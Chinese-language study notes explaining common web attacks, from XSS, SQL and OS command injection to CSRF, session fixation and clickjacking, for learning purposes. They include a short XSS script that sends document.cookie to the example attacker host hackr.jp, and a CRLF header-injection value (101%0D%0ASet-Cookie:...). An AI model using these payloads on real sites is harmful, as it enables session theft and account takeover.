1 针对Web的攻击技术
1.1 HTTP不具备必要的安全技能
1.2 客户端即可篡改请求
在HTTP请求报文内增加攻击代码,就能发起对Web请求的攻击。 通过URL查询字段或者表单、cookie、HTTP首部等途径把攻击代码传入,若这是web应用存在漏洞,那内部信息可能被窃取,或被攻击者拿到管理权限。
1.3 针对web应用的攻击模式
- 以服务器为目标的主动攻击
攻击者通过访问web应用直接将攻击代码传入的攻击模式。这种攻击是针对服务器上的资源进行攻击,因此攻击者需要能够访问到服务器的资源
主动攻击具有代表性的是SQL注入和OS注入命令攻击
- 以服务器为目标的被动攻击
利用圈套策略执行攻击代码的攻击方式 ,被动攻击过程中,攻击者不直接对web应用发起攻击。
1.攻击者诱使用户触发已设计好的陷阱,而陷阱启动已嵌入攻击代码的HTTP请求
2.当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
3.中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用,运行攻击代码
4.执行完攻击代码,存在安全漏洞的 Web 应用会成为攻击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取,
登录状态中的用户权限遭恶意滥用等后果
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造
利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。
2 因输出值转义不完全引发的安全漏洞
实施web应用的安全策略主要有两个方面:
- 客户端验证
- web应用端(服务端)验证
输入值验证
输出值转义
多数情况下采用JavaScript在客户端验证数据,可是在客户端允许篡改数据或关闭JavaScript,所以客户端验证知识为了提高UI体验感。
从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害
2.1 跨站脚本攻击 (xss)
可能造成一下影响:
1.利用虚假输入表单骗取用户信息
2.利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
3.显示伪造的文章或图片
- xss攻击案例
攻击者创建含有攻击代码的URL,并隐藏植入到邮件或者web页面中,诱使用户点击该URL
浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。
- 对用户cookie的窃取和攻击
在存在跨站脚本攻击安全问题的web应用上执行下面的代码就可以窃取用户的cookie信息
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
2.2 SQL注入 攻击
- 会执行非法SQL注入的SQL注入攻击
Web 应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用 SQL语句连接数据库进行特定的操作。如果在调用 SQL语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法 SQL语句。
SQL注入可能会造成以下影响
1.非法查看或篡改数据库数据
2.规避认证
3.执行和数据库业务关联的程序
2.3 OS命令注入攻击
通过web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用shell命令的地方都有被攻击的风险。
可以从 Web 应用中通过 Shell 来调用操作系统命令。倘若调用 Shell时存在疏漏,就可以执行插入的非法 OS 命令。
OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。
2.4 HTTP首部注入攻击
HTTP 首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式
HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击
HTTP首部注入可能造成以下影响:
1.设置任意的cookie
2.重定向至任意url
3.显示任意主体(HTTP响应阶段攻击)
- HTTP首部注入攻击案例
攻击者以下面的内容替代之前的类别 ID 后发送请求
101%0D%0ASet-Cookie:+SID=1234567
其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成
SID=123456789 的 Set-Cookie 首部字段
此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户
攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段
这样一来,攻击者可在响应中插入任意的首部字段。
2.5 HTTP响应截断攻击
HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发
送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相
同的效果。
2.6 邮件首部注入攻击
邮件首部注入是指 Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮件或病毒邮件
也是通过在邮件报文中添加一个换行符和两个换行符来改变请求首部和主体实现的攻击
2.7 目录遍历攻击
目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
3 因设置或设计上的缺陷引发的安全漏洞
错误设置 Web 服务器,或是由设计上的一些问题引起的安全漏洞。
3.1 强制浏览
从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件
强制浏览造成的影响:
- 泄露顾客的个人信息
- 泄露原本需要具有权限访问的用户才可查阅的信息
- 泄露未外连到外部的文件
对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。可一旦知道了那些 URL,也就意味着可浏览 URL对应的文件。直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使 URL产生泄露。
3.2 不正确的错误信息处理
Web 应用的错误信息内包含对攻击者有用的信息
与web应用有关的错误信息:
- web应用抛出的错误信息
- 数据库等系统抛出的错误信息
3.3 开放重定向
开放重定向是一种对指定的任意 URL作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL
到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站
4 因会话疏忽引发的安全漏洞
4.1 会话劫持
会话劫持是指攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的
具备认证功能的 Web 应用,使用会话 ID 的会话管理机制,作为管理认证状态的主流方式。会话 ID 中记录客户端的 Cookie 等信息,服务器端将会话 ID 与认证状态进行一对一匹配管理
几种攻击者可获得会话 ID 的途径:
- 通过非正规的生成方法推测出会话ID
- 通过窃听和xss攻击盗取会话ID
- 通过会话固定攻击强行获取会话ID
4.2 会话固定攻击
对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。
4.3 跨站点伪造攻击
指攻击 者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信 息或设定信息等某些状态更新,属于被动攻击
可能造成以下影响:
- 利用已通过认证的用户权限更新设定信息。
- 利用已通过认证的用户购买商品
- 利用已通过认证的用户在留言板上发表言论
5 其它安全漏洞
- 密码破解
- 点击劫持
利用透明的按钮或链接做成陷阱,覆盖 在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接 访问内容的一种攻击手段。这种行为又称为界面伪装
- Dos攻击
让运行中的服务呈停止状 态的攻击。有时也叫做服务停止攻击或拒绝服务攻击
两种方法:1.发送大量合法资源请求,使资源耗尽。2.攻击安全漏洞使服务停止
- 后门程序
后门程序分为以下几种:
1.开发阶段作为debug调用的后台程序
2.开发者为了自身利益植入的程序
3.攻击者通过某种方法设置的后门程序